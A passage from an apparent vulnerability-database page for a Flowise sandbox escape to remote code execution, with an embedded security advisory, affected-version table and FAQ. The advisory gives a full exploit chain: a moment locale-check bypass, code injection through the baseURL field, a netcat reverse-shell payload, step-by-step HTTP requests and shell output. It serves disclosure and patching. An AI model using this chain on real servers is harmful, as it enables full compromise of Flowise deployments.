assistant.\",\"tools\":[\"{{agentAsTool_0.data.instance}}\"]},\"label\":\"Tool Agent\",\"name\":\"toolAgent\",\"outputAnchors\":[{\"description\":\"Agent that uses Function Calling to pick the tools and args to call\",\"id\":\"toolAgent_0-output-toolAgent-AgentExecutor|BaseChain|Runnable\",\"label\":\"AgentExecutor\",\"name\":\"toolAgent\",\"type\":\"AgentExecutor | BaseChain | Runnable\"}],\"outputs\":{},\"selected\":false,\"type\":\"AgentExecutor\",\"version\":2},\"dragging\":false,\"height\":492,\"id\":\"toolAgent_0\",\"position\":{\"x\":1078.1036951401863,\"y\":523.9186243849886},\"positionAbsolute\":{\"x\":1078.1036951401863,\"y\":523.9186243849886},\"selected\":false,\"type\":\"customNode\",\"width\":300}],\"edges\":[{\"id\":\"agentAsTool_0-agentAsTool_0-output-agentAsTool-AgentAsTool|Tool-toolAgent_0-toolAgent_0-input-tools-Tool\",\"source\":\"agentAsTool_0\",\"sourceHandle\":\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\",\"target\":\"toolAgent_0\",\"targetHandle\":\"toolAgent_0-input-tools-Tool\",\"type\":\"buttonedge\"},{\"id\":\"bufferMemory_0-bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory-toolAgent_0-toolAgent_0-input-memory-BaseChatMemory\",\"source\":\"bufferMemory_0\",\"sourceHandle\":\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\",\"target\":\"toolAgent_0\",\"targetHandle\":\"toolAgent_0-input-memory-BaseChatMemory\",\"type\":\"buttonedge\"},{\"id\":\"chatOpenAI_0-chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable-toolAgent_0-toolAgent_0-input-model-BaseChatModel\",\"source\":\"chatOpenAI_0\",\"sourceHandle\":\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\",\"target\":\"toolAgent_0\",\"targetHandle\":\"toolAgent_0-input-model-BaseChatModel\",\"type\":\"buttonedge\"}],\"viewport\":{\"x\":372.22296982366913,\"y\":-109.94336492566799,\"zoom\":0.8069922237942956}}"} ``` 6. Send a chat message using the Chatflow and observe the reverse shell payload being executed outside the `vm2` sandbox, as shown in the terminal output below. ```terminal $ nc -lnvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 45533 id uid=1000(node) gid=1000(node) groups=1000(node),1000(node) ls -al total 36 drwxrwxr-x 1 node node 4096 Apr 9 07:49 . drwxrwxr-x 1 node node 4096 Apr 11 10:03 .. -rw-rw-r-- 1 node node 21 Apr 9 07:49 .gitattributes -rwxrwxr-x 1 node node 419 Apr 9 07:49 dev -rwxrwxr-x 1 node node 30 Apr 9 07:49 dev.cmd -rwxr-xr-x 1 node node 143 Apr 9 07:49 run -rwxrwxr-x 1 node node 30 Apr 9 07:49 run.cmd cd /usr/src/flowise ls CODE_OF_CONDUCT.md CONTRIBUTING.md Dockerfile LICENSE.md README.md SECURITY.md artillery-load-test.yml assets docker i18n images metrics node_modules package.json packages pnpm-lock.yaml pnpm-workspace.yaml turbo.json cat .git/HEAD ref: refs/heads/main cat .git/refs/heads/main dddfb3c90eec900d747790a439bd362a764039cd <1> ``` <1> Confirmation that the sandbox escape impacts Flowise commit `dddfb3c90eec900d747790a439bd362a764039cd`. III. Impact This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise that uses the default `vm2` sandbox, resulting in full compromise of the application. IV. Solution The current maintainers of the `vm2` sandbox strongly advise against executing untrusted code within it due to security risks (https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimer). To prevent JavaScript sandbox escapes in Flowise, a more secure alternative, such as https://github.com/laverdet/isolated-vm, should be used. Updating to the latest version of `vm2` sandbox will not patch this sandbox escape vulnerability. V. References * `vm2` Security Disclaimer: https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimer * `isolated-vm`: https://github.com/laverdet/isolated-vm

CVE-2026-69253 Affected Flowise Versions

2 component(s)
Fixed Versions:
3.1.3
Product / Package Ecosystem Affected Versions Fixed Version
flowise
npm
< 3.1.3
3.1.3
flowise-components
npm
< 3.1.3
3.1.3

References

Frequently Asked Questions

What is CVE-2026-69253?
CVE-2026-69253 is a security vulnerability in Flowise involving Flowise Sandbox Escape to RCE under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').
Which Flowise versions are affected?
Affected versions include releases prior to 3.1.3 across affected packages: flowise, flowise-components.
What version fixes CVE-2026-69253?
Upgrading to 3.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.1.3. Upgrade your dependency to 3.1.3 or later.
Is flowise-components affected?
Yes, flowise-components is affected in releases prior to 3.1.3. Upgrade your dependency to 3.1.3 or later.
What CWE is associated with CVE-2026-69253?
CVE-2026-69253 is classified under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").).
How can I check npm dependencies for CVE-2026-69253?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wg86-r78f-74mp",
  "modified" : "2026-08-04T15:13:33Z",
  "published" : "2026-08-04T15:13:33Z",
  "aliases" : [ "CVE-2026-69253" ],
  "summary" : "Flowise Sandbox Escape to RCE",
  "details" : "=============================================================================\n                                                            Security Advisory\n                                                                       elttam\n\nTopic:          Flowise JavaScript Sandbox Escape\n\nModule:         FlowiseAI/Flowise, FlowiseAI/nodevm\nDisclosed:      11-Apr-2026\nCredits:        Luke Jahnke and Alex Brown\nAffects:        `FlowiseAI/Flowise 3.1.1`, `FlowiseAI/nodevm  3.9.25`\n\n# I.   Background\n\nFlowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.\n\nThe platform also enables execution of custom JavaScript within a sandboxed environment via the Custom Function Agent Flow node or Custom Tool. By default, this sandbox is powered by `patriksimek/vm2`, a fork of the `patriksimek/vm2` package.\n\n# II.  Problem Description\n\n**NOTE**: This vulnerability still impacts commit `dddfb3c90eec900d747790a439bd362a764039cd` (the latest commit on the main branch at the time of writing). The original report was incorrectly closed, due to a misunderstanding that the report was about the use of an outdated and vulnerable version of the `patriksimek/vm2` sandbox. The sandbox escape that this report documents is an issue with Flowise, and patching the `vm2` sandbox would not resolve it.\n\nThe `patriksimek/vm2` sandbox executes JavaScript within the same Node.js process, which introduces significant security limitations and makes safely isolating untrusted code inherently difficult. Due to these concerns, the maintainers had deprecated the project and previously issued the following warning:\n\n*https://github.com/n8n-io/vm2*\n> The library contains critical security issues and should not be used in production. Maintenance has been discontinued. Consider migrating to `isolated-vm`.\n\nTo demonstrate the risks associated with the use of the `vm2` sandbox, a sandbox escape specific to Flowise was investigated. The code snippet below shows the allowed modules that could be used within custom JavaScript code on Flowise.\n\nhttps://github.com/FlowiseAI/Flowise/blob/flowise%403.1.1/packages/components/src/utils.ts#L124\n```ts\nconst defaultAllowExternalDependencies = ['axios', 'moment', 'node-fetch'] <1>\n```\n<1> Allows custom JavaScript code to use the `axios`, `moment` and `node-fetch` dependencies.\n\nNotably, the `moment` dependency had a previously reported path traversal vulnerability (`CVE-2022-24785`) that could lead to RCE when user input is passed to the `locale` function. The patch for `CVE-2022-24785` was implementing regex check to disallow `/` or `\\` characters within a locale name, as shown in the code snippet below.\n\n*Patch for `CVE-2022-24785` in `moment` (https://github.com/moment/moment/commit/4211bfc8f15746be4019bba557e29a7ba83d54c5)*\n```js\nfunction isLocaleNameSane(name) {\n    // Prevent names that look like filesystem paths, i.e contain '/' or '\\'\n    return name.match('^[^/\\\\\\\\]*$') != null; <1>\n}\n\nfunction loadLocale(name) {\n    var oldLocale = null,\n        aliasedRequire;\n    // TODO: Find a better way to register and load all the locales in Node\n    if (\n        locales[name] === undefined &&\n        typeof module !== 'undefined' &&\n        module &&\n        module.exports &&\n        isLocaleNameSane(name) <1>\n    ) {\n        try {\n            oldLocale = globalLocale._abbr;\n            aliasedRequire = require;\n            aliasedRequire('./locale/' + name); <2>\n            getSetGlobalLocale(oldLocale);\n        } catch (e) {\n            // mark as not found to avoid repeating expensive file require call causing high CPU\n            // when trying to find en-US, en_US, en-us for every format call\n            locales[name] = null; // null means not found\n        }\n    }\n    return locales[name];\n}\n```\n<1> Performs a regex check to disallow `/` or `\\` characters within the provided locale name.\n\n<2> The vulnerable sink that introduced `CVE-2022-24785`.\n\nFlowise used `moment` version `v2.29.3`, which had the `CVE-2022-24785` patch applied. However, the patch is ineffective in preventing directory traversal in a sandbox context. The validation function uses the `match` function from the provided object, so an object with a `match` function that always returns `true` would bypass the validation check, as shown in the following proof-of-concept script.\n\n```js\nfake = new String(\"../../../../../../../../../../../../../../../etc/passwd\");\nfake.match = function(regexp){return true;}; <1>\nrequire(\"moment\").locale(fake);\n```\n<1> Bypasses the validation check for `CVE-2022-24785`.\n\nIn commit `e765367fdc9761a7d9cf01a048cac15c78903b85` (https://github.com/FlowiseAI/Flowise/commit/e765367fdc9761a7d9cf01a048cac15c78903b85), the default sandbox was changed to the E2B sandbox, as shown in the code snippet below.\n\nhttps://github.com/FlowiseAI/Flowise/blob/e765367fdc9761a7d9cf01a048cac15c78903b85/packages/components/src/utils.ts\n```ts\nexport const executeJavaScriptCode = async (\n    code: string,\n    sandbox: ICommonObject,\n    options: {\n        timeout?: number\n        useSandbox?: boolean\n        libraries?: string[]\n        streamOutput?: (output: string) => void\n        nodeVMOptions?: ICommonObject\n    } = {}\n): Promise<any> => {\n    const { timeout = 300000, useSandbox = true, streamOutput, libraries = [], nodeVMOptions = {} } = options <1>\n    if (useSandbox && !process.env.E2B_APIKEY) { <1>\n        throw new Error(\n            'Sandboxed code execution requires E2B_APIKEY to be configured. ' +\n                'Set E2B_APIKEY in your environment or contact your administrator.'\n        )\n    }\n    let timeoutMs = timeout\n    if (process.env.SANDBOX_TIMEOUT) {\n        timeoutMs = parseInt(process.env.SANDBOX_TIMEOUT, 10)\n    }\n    ...\n```\n<1> The default was changed to use the E2B sandbox.\n\nHowever, there are several components within the application that still use the insecure `vm2` sandbox, as shown in the following `grep` output.\n\n```terminal\n$ grep -r 'useSandbox: false'\npackages/components/nodes/tools/AgentAsTool/AgentAsTool.ts:            useSandbox: false\npackages/components/nodes/tools/ChatflowTool/ChatflowTool.ts:            useSandbox: false\npackages/components/nodes/sequentialagents/ExecuteFlow/ExecuteFlow.ts:                    useSandbox: false\n```\n\nThe above files also contain an injection vulnerability into the sandboxed code, due to an improper URL validation check validating the `baseURL` input. The following code snippets demonstrate the injection vulnerability within `AgentAsTool.ts` and the broken `isValidURL` validation function.\n\nhttps://github.com/FlowiseAI/Flowise/blob/0c6924bb08a2156513b447d0e600651f29ea5aa8/packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts\n```ts\nclass AgentAsTool_Tools implements INode {\n    ...\n    async init(nodeData: INodeData, input: string, options: ICommonObject): Promise<any> {\n        ...\n        const baseURL = (nodeData.inputs?.baseURL as string) || (options.baseURL as string)\n\n        // Validate agentflowid is a valid UUID\n        if (!selectedAgentflowId || !isValidUUID(selectedAgentflowId)) {\n            throw new Error('Invalid agentflow ID: must be a valid UUID')\n        }\n\n        // Validate baseURL is a valid URL\n        if (!baseURL || !isValidURL(baseURL)) { <1>\n            throw new Error('Invalid base URL: must be a valid URL')\n        }\n        ...\n    }\n}\n\nclass AgentflowTool extends StructuredTool {\n    ...\n    // @ts-ignore\n    protected async _call(\n        arg: z.infer<typeof this.schema>,\n        _?: CallbackManagerForToolRun,\n        flowConfig?: { sessionId?: string; chatId?: string; input?: string }\n    ): Promise<string> {\n        ...\n        const code = `\nconst fetch = require('node-fetch');\nconst url = \"${this.baseURL}/api/v1/prediction/${this.agentflowid}\"; <2>\n\nconst body = $callBody;\n\nconst options = $callOptions;\n\ntry {\n\tconst response = await fetch(url, options);\n\tconst resp = await response.json();\n\treturn resp.text;\n} catch (error) {\n\tconsole.error(error);\n\treturn '';\n}\n`\n        ...\n        let response = await executeJavaScriptCode(code, sandbox, {\n            useSandbox: false <3>\n        })\n\n        if (typeof response === 'object') {\n            response = JSON.stringify(response)\n        }\n\n        return response\n    }\n}\n```\n<1> Use of the broken `isValidURL` validation function, that is shown below.\n<2> Injection via the `baseURL` setting into the sandboxed code.\n<3> Uses the insecure `vm2` sandbox.\n\nhttps://github.com/FlowiseAI/Flowise/blob/aff06479aa9ec24847bd65ac786b46ac85ae7e03/packages/components/src/validator.ts\n```ts\n/**\n * Validates if a string is a valid URL\n * @param {string} url The string to validate\n * @returns {boolean} True if valid URL, false otherwise\n */\nexport const isValidURL = (url: string): boolean => {\n    try {\n        new URL(url) <1>\n        return true\n    } catch {\n        return false\n    }\n}\n```\n<1> The JavaScript `URL` class does not validate characters in the URL hash fragment.\n\nAn attacker could inject arbitrary code by inserting `#\";\\n{malicious_code};//` at the end of the `baseURL` setting, where the following `baseURL` demonstrates injecting the payload for the sandbox escape shown above to execute the code in the file `/tmp/evil.txt` outside the `vm2` sandbox.\n\n```js\n\"https://192.168.122.62:3000/#\\\";\\nfake = new String(\\\"../../../../../../../../../../../../../../../../../tmp/evil.txt\\\");\\nfake.match = function(regexp){return true;};\\nrequire(\\\"moment\\\").locale(fake);//\"\n```\n\nThe following documents the procedure to remotely exploit the insecure `vm2` sandbox to achieve RCE on Flowise using the `AgentAsTool` node.\n\n**Note:** This procedure documents the method of exploitation on the Docker deployment. The exploitation methodology may be different on the cloud deployment.\n\n1. Log into a Flowise instance and note the organisation ID in the response from `POST /api/v1/auth/login`, as shown below.\n\n```http\nHTTP/1.1 200 OK\nSet-Cookie: token=<REDACTED>\nSet-Cookie: refreshToken=<REDACTED>\nSet-Cookie: connect.sid=<REDACTED>\nContent-Type: application/json; charset=utf-8\nContent-Length: 671\nETag: W/\"29f-jwu/0ZfIvz6r3EF/4QqMbLOMeho\"\nDate: Sat, 11 Apr 2026 12:05:42 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n    \"activeOrganizationCustomerId\": null,\n    \"activeOrganizationId\": \"dbac2c65-6d98-48c2-b515-0b6cfb32f7e7\", <1>\n    \"activeOrganizationProductId\": \"\",\n    \"activeOrganizationSubscriptionId\": null,\n    \"activeWorkspace\": \"Default Workspace\",\n    \"activeWorkspaceId\": \"4b7e2414-a652-413d-b45e-b9edb8e63c1d\",\n    \"assignedWorkspaces\": [\n        {\n            \"id\": \"4b7e2414-a652-413d-b45e-b9edb8e63c1d\",\n            \"name\": \"Default Workspace\",\n            \"organizationId\": \"dbac2c65-6d98-48c2-b515-0b6cfb32f7e7\", <1>\n            \"role\": \"owner\"\n        }\n    ],\n    \"email\": \"admin@flowise.local\",\n    \"features\": {},\n    \"id\": \"f8acb68d-afa5-41bd-8485-e39457433b71\",\n    \"isOrganizationAdmin\": true,\n    \"isSSO\": false,\n    \"name\": \"Admin\",\n    \"permissions\": [\n        \"organization\",\n        \"workspace\"\n    ],\n    \"roleId\": \"3ff0de09-3993-125c-8798-7d14c45336df\"\n}\n```\n<1> The organisation ID that is required for a later step.\n\n2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the `vm2` sandbox. The following script is a reverse shell payload that connects to `172.17.0.1:1337` that had a filename of `rce.js`.\n\n```js\nprocess.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')\n```\n\n3. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the \n`POST /api/v1/document-store/loader/process/{loader_id}` endpoint and retrieve the `storeId`, as demonstrated in the response below.\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nContent-Length: 996\nETag: W/\"3e4-k50+oeECDZnZeXCwR6mnTrXtxm0\"\nDate: Sat, 11 Apr 2026 12:13:41 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\n    \"characters\": 94,\n    \"chunks\": [\n        {\n            \"chunkNo\": 1,\n            \"docId\": \"72f80118-fede-4f20-9ec6-1577e64c9ceb\",\n            \"id\": \"d6915ca3-4845-4f5b-a59c-3aa723aca8bd\",\n            \"metadata\": \"{\\\"source\\\":\\\"blob\\\",\\\"blobType\\\":\\\"\\\"}\",\n            \"pageContent\": \"process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')\",\n            \"storeId\": \"dd6e5e1a-9c17-4a80-ad97-87302d9aa549\" <1>\n        }\n    ],\n    \"count\": 1,\n    \"currentPage\": 1,\n    \"description\": \"\",\n    \"docId\": \"72f80118-fede-4f20-9ec6-1577e64c9ceb\",\n    \"file\": {\n        \"files\": [\n            {\n                \"id\": \"68a0a833-09c4-4df6-8b3e-1071f8edd462\",\n                \"mimePrefix\": \"application/x-javascript\",\n                \"name\": \"rce.js\",\n                \"size\": 94,\n                \"status\": \"NEW\",\n                \"uploaded\": \"2026-04-11T12:13:41.235Z\"\n            }\n        ],\n        \"id\": \"72f80118-fede-4f20-9ec6-1577e64c9ceb\",\n        \"loaderConfig\": {\n            \"file\": \"FILE-STORAGE::[\\\"rce.js\\\"]\",\n            \"legacyBuild\": \"\",\n            \"metadata\": \"\",\n            \"omitMetadataKeys\": \"\",\n            \"pointerName\": \"\",\n            \"textSplitter\": \"\",\n            \"usage\": \"perPage\"\n        },\n        \"loaderId\": \"fileLoader\",\n        \"loaderName\": \"RCE\",\n        \"status\": \"SYNC\",\n        \"totalChars\": 94,\n        \"totalChunks\": 1\n    },\n    \"storeName\": \"RCE File Store\",\n    \"workspaceId\": \"4b7e2414-a652-413d-b45e-b9edb8e63c1d\"\n}\n```\n<1> The store ID that is required for a later step.\n\n4. Navigate to the Agentflow tab and create a new empty Agent that would be attached to the `AgentAsTool` node.\n\n5. Navigate to the Chatflow tab and create a new Chatflow and save it. Then add an Agent as Tool node using the previously created Agentflow, a Buffer Memory Node, an Open AI Chat Model node and connect them to a Tool Agent node, then save the changes, as shown in the attached screenshot. Using a tool such as Burp Suite, intercept the request to the `PUT /api/v1/chatflows/{chatflow_id}` and modify the `baseURL` input to `\"https://192.168.122.62:3000/#\\\";\\nfake = new String(\\\"../../../../../../../../../../../../../../../../..{home_folder}/.flowise/storage/{organisation_id}/docustore/{store_id}/{filename}\\\");\\nfake.match = function(regexp){return true;};\\nrequire(\\\"moment\\\").locale(fake);//\"`, where the `{home_folder}` is `/home/node` if built locally using `https://github.com/FlowiseAI/Flowise/blob/main/Dockerfile` or `/root` if using a published Docker image from https://hub.docker.com/r/flowiseai/flowise. Replace the `{organisation_id}`, `{store_id}` and `{filename}` placeholders with the values from the previous steps. The following request demonstrates setting the sandbox escape payload to execute the uploaded payload that was located at `/home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js`.\n\n<img width=\"2229\" height=\"1148\" alt=\"sandbox-escape-tool-setup\" src=\"https://github.com/user-attachments/assets/87850ecf-3d93-4939-b5d3-9d3d2c349894\" />\n\n```http\nPUT /api/v1/chatflows/3145786c-a4c0-4989-8605-afff0c10b5be HTTP/1.1\nHost: 192.168.122.62:3000\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:149.0) Gecko/20100101 Firefox/149.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/json\nx-request-from: internal\nContent-Length: 17821\nOrigin: http://192.168.122.62:3000\nConnection: keep-alive\nReferer: http://192.168.122.62:3000/canvas/3145786c-a4c0-4989-8605-afff0c10b5be\nCookie: {cookies}\n\n{\"name\":\"RCE SANDBOX ESCAPE CHAT FLOW\",\"flowData\":\"{\\\"nodes\\\":[{\\\"data\\\":{\\\"baseClasses\\\":[\\\"AgentAsTool\\\",\\\"Tool\\\"],\\\"category\\\":\\\"Tools\\\",\\\"credential\\\":\\\"\\\",\\\"description\\\":\\\"Use as a tool to execute another agentflow\\\",\\\"filePath\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/AgentAsTool.js\\\",\\\"icon\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/agentastool.svg\\\",\\\"id\\\":\\\"agentAsTool_0\\\",\\\"inputAnchors\\\":[],\\\"inputParams\\\":[{\\\"credentialNames\\\":[\\\"agentflowApi\\\"],\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-credential-credential\\\",\\\"label\\\":\\\"Connect Credential\\\",\\\"name\\\":\\\"credential\\\",\\\"optional\\\":true,\\\"type\\\":\\\"credential\\\"},{\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-selectedAgentflow-asyncOptions\\\",\\\"label\\\":\\\"Select Agent\\\",\\\"loadMethod\\\":\\\"listAgentflows\\\",\\\"name\\\":\\\"selectedAgentflow\\\",\\\"type\\\":\\\"asyncOptions\\\"},{\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-name-string\\\",\\\"label\\\":\\\"Tool Name\\\",\\\"name\\\":\\\"name\\\",\\\"type\\\":\\\"string\\\"},{\\\"description\\\":\\\"Description of what the tool does. This is for LLM to determine when to use this tool.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-description-string\\\",\\\"label\\\":\\\"Tool Description\\\",\\\"name\\\":\\\"description\\\",\\\"placeholder\\\":\\\"State of the Union QA - useful for when you need to ask questions about the most recent state of the union address.\\\",\\\"rows\\\":3,\\\"type\\\":\\\"string\\\"},{\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-returnDirect-boolean\\\",\\\"label\\\":\\\"Return Direct\\\",\\\"name\\\":\\\"returnDirect\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"acceptVariable\\\":true,\\\"additionalParams\\\":true,\\\"description\\\":\\\"Override the config passed to the Agentflow.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-overrideConfig-json\\\",\\\"label\\\":\\\"Override Config\\\",\\\"name\\\":\\\"overrideConfig\\\",\\\"optional\\\":true,\\\"type\\\":\\\"json\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Base URL to Flowise. By default, it is the URL of the incoming request. Useful when you need to execute the Agentflow through an alternative route.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-baseURL-string\\\",\\\"label\\\":\\\"Base URL\\\",\\\"name\\\":\\\"baseURL\\\",\\\"optional\\\":true,\\\"placeholder\\\":\\\"http://localhost:3000\\\",\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":false,\\\"description\\\":\\\"Whether to continue the session with the Agentflow tool or start a new one with each interaction. Useful for Agentflows with memory if you want to avoid it.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-startNewSession-boolean\\\",\\\"label\\\":\\\"Start new session per message\\\",\\\"name\\\":\\\"startNewSession\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Whether to use the question from the chat as input to the agentflow. If turned on, this will override the custom input.\\\",\\\"display\\\":true,\\\"id\\\":\\\"agentAsTool_0-input-useQuestionFromChat-boolean\\\",\\\"label\\\":\\\"Use Question from Chat\\\",\\\"name\\\":\\\"useQuestionFromChat\\\",\\\"optional\\\":true,\\\"type\\\":\\\"boolean\\\"},{\\\"additionalParams\\\":true,\\\"description\\\":\\\"Custom input to be passed to the agentflow. Leave empty to let LLM decides the input.\\\",\\\"display\\\":false,\\\"id\\\":\\\"agentAsTool_0-input-customInput-string\\\",\\\"label\\\":\\\"Custom Input\\\",\\\"name\\\":\\\"customInput\\\",\\\"optional\\\":true,\\\"show\\\":{\\\"useQuestionFromChat\\\":false},\\\"type\\\":\\\"string\\\"}],\\\"inputs\\\":{\\\"baseURL\\\":\\\"https://192.168.122.62:3000/#\\\\\\\";\\\\nfake = new String(\\\\\\\"../../../../../../../../../../../../../../../../../home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js\\\\\\\");\\\\nfake.match = function(regexp){return true;};\\\\nrequire(\\\\\\\"moment\\\\\\\").locale(fake);//\\\",\\\"customInput\\\":\\\"\\\",\\\"description\\\":\\\"Sandbox escape code will be injected using the baseURL input\\\",\\\"name\\\":\\\"sandbox-escape\\\",\\\"overrideConfig\\\":\\\"\\\",\\\"returnDirect\\\":\\\"\\\",\\\"selectedAgentflow\\\":\\\"31ad9e45-2f8c-4a52-8fac-53c37a5f0ce6\\\",\\\"startNewSession\\\":\\\"\\\",\\\"useQuestionFromChat\\\":\\\"\\\"},\\\"label\\\":\\\"Agent as Tool\\\",\\\"loadMethods\\\":{},\\\"name\\\":\\\"agentAsTool\\\",\\\"outputAnchors\\\":[{\\\"description\\\":\\\"Use as a tool to execute another agentflow\\\",\\\"id\\\":\\\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\\\",\\\"label\\\":\\\"AgentAsTool\\\",\\\"name\\\":\\\"agentAsTool\\\",\\\"type\\\":\\\"AgentAsTool | Tool\\\"}],\\\"outputs\\\":{},\\\"selected\\\":false,\\\"type\\\":\\\"AgentAsTool\\\",\\\"version\\\":1},\\\"dragging\\\":false,\\\"height\\\":803,\\\"id\\\":\\\"agentAsTool_0\\\",\\\"position\\\":{\\\"x\\\":474.3499595861873,\\\"y\\\":188.396206969314},\\\"positionAbsolute\\\":{\\\"x\\\":474.3499595861873,\\\"y\\\":188.396206969314},\\\"selected\\\":true,\\\"type\\\":\\\"customNode\\\",\\\"width\\\":300},{\\\"data\\\":{\\\"baseClasses\\\":[\\\"BufferMemory\\\",\\\"BaseChatMemory\\\",\\\"BaseMemory\\\"],\\\"category\\\":\\\"Memory\\\",\\\"description\\\":\\\"Retrieve chat messages stored in database\\\",\\\"filePath\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/BufferMemory.js\\\",\\\"icon\\\":\\\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/memory.svg\\\",\\\"id\\\":\\\"bufferMemory_0\\\",\\\"inputAnchors\\\":[],\\\"inputParams\\\":[{\\\"additionalParams\\\":true,\\\"default\\\":\\\"\\\",\\\"description\\\":\\\"If not specified, a random id will be used. Learn <a target=\\\\\\\"_blank\\\\\\\" href=\\\\\\\"https://docs.flowiseai.com/memory#ui-and-embedded-chat\\\\\\\">more</a>\\\",\\\"display\\\":true,\\\"id\\\":\\\"bufferMemory_0-input-sessionId-string\\\",\\\"label\\\":\\\"Session Id\\\",\\\"name\\\":\\\"sessionId\\\",\\\"optional\\\":true,\\\"type\\\":\\\"string\\\"},{\\\"additionalParams\\\":true,\\\"default\\\":\\\"chat_history\\\",\\\"display\\\":true,\\\"id\\\":\\\"bufferMemory_0-input-memoryKey-string\\\",\\\"label\\\":\\\"Memory Key\\\",\\\"name\\\":\\\"memoryKey\\\",\\\"type\\\":\\\"string\\\"}],\\\"inputs\\\":{\\\"memoryKey\\\":\\\"chat_history\\\",\\\"sessionId\\\":\\\"\\\"},\\\"label\\\":\\\"Buffer Memory\\\",\\\"name\\\":\\\"bufferMemory\\\",\\\"outputAnchors\\\":[{\\\"description\\\":\\\"Retrieve chat messages stored in database\\\",\\\"id\\\":\\\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\\\",\\\"label\\\":\\\"BufferMemory\\\",\\\"name\\\":\\\"bufferMemory\\\",\\\"type\\\":\\\"BufferMemory | BaseChatMemory | BaseMemory\\\"}],\\\"outputs\\\":{},\\\"selected\\\":false,\\\"type\\\":\\\"BufferMemory\\\",\\\"version\\\":2},\\\"dragging\\\":false,\\\"height\\\":259,\\\"id\\\":\\\"bufferMemory_0\\\",\\\"position\\\":{\\\"x\\\":471.8374151939384,\\\"y\\\":1024.5965766366546},\\\"positionAbsolute\\\":{\\\"x\\\":471.8374151939384,\\\"y\\\":1024.5965766366546},\\\"selected\\\":false,\\\"type\\\":\\\"customNode\\\",\\\"width\\\":300},{\\\"data\\\":{\\\"baseClasses\\\":[\\\"ChatOpenAI\\\",\\\"BaseChatOpenAI\\\",\\\"BaseChatModel\\\",\\\"BaseLanguageModel\\\",\\\"Runnable\\\"],\\\"category\\\":\\\"Chat Models\\\",\\\"credential\\\":\\\"5eabcf42-5547-4cda-8f31-1d0b9d70d508\\\",\\\"description\\\":\\\"Wrapper around OpenAI large language models that use the Chat 